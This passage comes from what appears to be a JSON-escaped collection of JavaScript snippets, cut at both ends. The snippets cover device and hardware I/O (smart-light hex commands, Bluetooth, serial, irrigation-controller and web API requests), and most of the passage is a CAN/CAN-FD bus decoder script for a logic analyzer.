send hex code for getting the status of power,rgb,warm\\n send(this.ip, hexToArray(\\\"81:8a:8b:96\\\"), (data, err) => {\\n if (err)\\n reject(err)\\n else {\\n if(data) {\\n const status = [];\\n for(let i = 0; i < data.length; i+=2){\\n status.push(data[i].concat(data[i+1]))\\n }\\n const power = status[2] === \\\"23\\\" ? \\\"on\\\" : \\\"off\\\"\\n \\n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\\n \\n const warm = parseInt(status[9], 16)\\n const out = {\\\"power\\\" : power, \\\"rgb\\\" : rgb, \\\"warm\\\" : warm}\\n resolve(out)\\n }\\n }\\n });\\n })\\n }\",\n \"getDeviceID(): Promise {\\n return HyperTrack.getDeviceID();\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function read(){\\n\\t\\t\\t\\n\\t\\t\\tvar deferred = $q.defer();\\n\\t\\t\\tserial.read(\\n\\t\\t\\t\\tfunction success(data){\\n\\t\\t\\t\\t\\tvar byteArray = new Uint8Array(data);\\n\\t\\t\\t\\t\\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tfunction error(){\\n\\t\\t\\t\\t\\tdeferred.reject(new Error());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t\\t\\n\\t\\t\\treturn deferred.promise;\\n\\t\\t\\t\\n\\t\\t}\",\n \"function getCCDA(url,uid,callback){\\n var options = {\\n host: api_domain,\\n path: url+'?api_key='+api_key+'&uid='+uid,\\n port: api_port\\n}\\n//Get the bindaas api\\nvar request = http.request(options, function (res) {\\n var data = '';\\n res.on('data', function (chunk) {\\n data += chunk;\\n });\\n res.on('end', function () {\\n callback(data);\\n });\\n });\\n request.on('error', function (e) {\\n console.log(e.message);\\n console.log(\\\"please check that your bindaas API is succesfully set up\\\");\\n });\\n request.end();\\n}\",\n \"readHydrawiseStatus(){\\n const cmd = hydrawise_url_status + \\\"api_key=\\\" + this.config.hydrawise_apikey;\\n\\n // execute only if apikey is defined in config page\\n if (this.config.hydrawise_apikey!=undefined){\\n this.log.info(\\\"send: \\\"+cmd);\\n //request(cmd, function (error, response, body){\\n request(cmd, (error, response, body) => {\\n\\n if (!error && response.statusCode == 200) {\\n // parse JSON response from Hydrawise controller\\n var obj = JSON.parse(body);\\n // read device config\\n hc6.nextpoll = parseInt(obj.nextpoll);\\n hc6.time = parseInt(obj.time);\\n hc6.message = obj.message;\\n this.log.info(\\\"nextpoll=\\\"+hc6.nextpoll+\\\" time=\\\"+hc6.time+\\\" message=\\\"+hc6.message);\\n \\n // read all configured sensors\\n for (let i=0; i<=1; i++){\\n // if sensor is configured\\n if (obj.sensors[i]!=null){\\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\\n // read all related relays\\n for (let j=0; j<=5; j++){\\n // if relay is configured\\n if (obj.sensors[i].relays[j]!=null){\\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\\n }\\n };\\n }\\n this.log.info(\\\"sensor\\\"+i+\\\": input=\\\"+hc6.sensors[i].input+\\\" type=\\\"+hc6.sensors[i].type+\\n \\\" mode=\\\"+hc6.sensors[i].mode+ \\\" timer=\\\"+hc6.sensors[i].timer+\\\" offtimer=\\\"+hc6.sensors[i].offtimer+\\n \\\" relay0=\\\"+hc6.sensors[i].relays[0]+\\\" relay1=\\\"+hc6.sensors[i].relays[1]+\\\" relay2=\\\"+hc6.sensors[i].relays[2]+\\n \\\" relay3=\\\"+hc6.sensors[i].relays[3]+\\\" relay4=\\\"+hc6.sensors[i].relays[4]+\\\" relay5=\\\"+hc6.sensors[i].relays[5]);\\n }\\n\\n // read all configured relays\\n for (let i=0; i<=5; i++){\\n if (obj.relays[i]!=null){\\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\\n hc6.relays[i].name = obj.relays[i].name;\\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\\n hc6.relays[i].type = parseInt(obj.relays[i].type);\\n hc6.relays[i].time = parseInt(obj.relays[i].time);\\n hc6.relays[i].run = parseInt(obj.relays[i].run);\\n hc6.relays[i].period = parseInt(obj.relays[i].period);\\n hc6.relays[i].timestr = obj.relays[i].timestr;\\n }\\n else{\\n hc6.relays[i].relay_id = 0;\\n hc6.relays[i].name = \\\"\\\";\\n hc6.relays[i].relay = 0;\\n hc6.relays[i].type = 0;\\n hc6.relays[i].time = 0;\\n hc6.relays[i].run = 0;\\n hc6.relays[i].period = 0;\\n hc6.relays[i].timestr = \\\"\\\";\\n }\\n this.log.info(\\\"relay\\\"+i+\\\": relay_id=\\\"+hc6.relays[i].relay_id+\\\" name=\\\"+hc6.relays[i].name+\\n \\\" relay=\\\"+hc6.relays[i].relay+\\\" type=\\\"+hc6.relays[i].type+\\\" time=\\\"+hc6.relays[i].time+\\n \\\" run=\\\"+hc6.relays[i].run+\\\" period=\\\"+hc6.relays[i].period+\\\" timestr=\\\"+hc6.relays[i].timestr);\\n }\\n }\\n })\\n }\\n }\",\n \"function getBufferRequest(opt, callback){\\n\\n\\topt.host = \\\"cloud.cadexchanger.com\\\";\\n\\topt.protocol = \\\"https:\\\";\\n\\topt.path = \\\"/api/v1\\\" + opt.path;\\n\\n\\tconst tmpFile = fs.createWriteStream(\\\"tmp.file\\\");\\n\\tconst req = https.get(opt, (res) => {\\n\\t\\tres.pipe(tmpFile);\\n\\n\\t\\ttmpFile.on('finish', () => {\\n\\t\\t\\t//tmpFile.close();\\n\\t\\t\\tcallback(fs.readFileSync(\\\"tmp.file\\\"));\\n\\t\\t\\tfs.unlink(\\\"tmp.file\\\", ()=>{});\\n\\t\\t});\\n\\t});\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function getDevicePromise(device) {\\n return fetch(\\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\\n )\\n .then(res => res.text())\\n .then(text => {\\n return text;\\n })\\n .then(parseDeviceIndex);\\n}\",\n \"function decode()\\n{\\n\\tget_ui_vals();\\n\\n\\n\\tif (typeof hex_opt === 'undefined')\\n\\t{\\n\\t\\thex_opt = 0;\\n\\t}\\n\\n\\n\\n\\tif (rate == 0)\\n\\t{\\n\\t\\treturn;\\n\\t}\\n\\n\\tspb = sample_rate / rate; \\t\\t// Calculate the number of Samples Per Bit.\\n\\n\\ttry\\n\\t{\\n\\t\\tspb_hs = sample_rate / high_rate;\\n\\t}\\n\\tcatch(e)\\n\\t{\\n\\t\\tspb_hs = sample_rate / 2000000;\\n\\t}\\n\\n\\tm = spb / 10; \\t\\t\\t\\t\\t// Margin = 1 tenth of a bit time (expresed in number of samples)\\n\\tm_hs = spb_hs / 10;\\n\\n\\tvar t = trs_get_first(ch);\\n\\n\\tchannel_color = get_ch_light_color(ch);\\n\\n\\twhile (trs_is_not_last(ch) && (stop == false))\\n\\t{\\n\\t if (abort_requested() == true)\\t\\t// Allow the user to abort this script\\n\\t\\t{\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\n\\t\\tswitch (state)\\n\\t\\t{\\n\\t\\t\\tcase GET_SOF:\\n\\n\\t\\t\\t\\twhile ((t.val != 0) && trs_is_not_last(ch))\\t\\t// Search for SOF\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_get_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\ts = t.sample + (spb * 0.5); \\t\\t// Position our reader on the middle of first bit\\n\\n\\t\\t\\t\\tbit_sampler_ini(ch,spb /2, spb); \\t// Initialize the bit sampler (to be able tu use \\\"bit_sampler_next()\\\")\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t\\t\\t\\t// Read and skip the start bit\\n\\n\\t\\t\\t\\tdec_item_new(ch,t.sample,t.sample + spb - m); \\t// Add the start bit item\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start of Frame\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"SOF\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"S\\\");\\n\\n\\t\\t\\t\\tpkt_start(\\\"CAN\\\");\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"SOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\n\\t\\t\\t\\tbits = [];\\n\\t\\t\\t\\trb = 0;\\n\\t\\t\\t\\tframe_length_in_sample = 0;\\n\\t\\t\\t\\tb = 0; sb = 0;\\n\\t\\t\\t\\tbit_pos = [];\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tdata_size = 0;\\n\\t\\t\\t\\tbits.push(0); \\t\\t// Add the start bit to the bits table\\n\\t\\t\\t\\tbit_pos.push(s); \\t// Add its position\\n\\t\\t\\t\\tb++;\\n\\t\\t\\t\\trb++;\\n\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\tlast_bit = 0;\\n\\t\\t\\t\\tstate = GET_ID;\\n\\t\\t\\t\\trtr_mode = false;\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tedl_mode = false;\\n\\t\\t\\t\\tpotential_overload = true; \\t// This *may* be the beginning of an overload frame\\n\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ID:\\n\\n\\t\\t\\t\\twhile (true) \\t// Read bits until we break\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (abort_requested() == true)\\t// Allow the user to abort this script\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false) break; \\t// Break on the first stuffing error\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bit\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif ((b == 14) && (bits[13] == 1))\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tide_mode = true;\\n\\t\\t\\t\\t\\t\\trtr_mode = false; \\t// Reset rtr, will be checked at bit 32\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (ide_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 33) && (bits[32] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 34) && (bits[33] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 13) && (bits[12] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 15) && (bits[14] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 41))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 22))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 39))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 19))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(edl_mode) //if it's CAN-FD\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 18; c < 22; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data 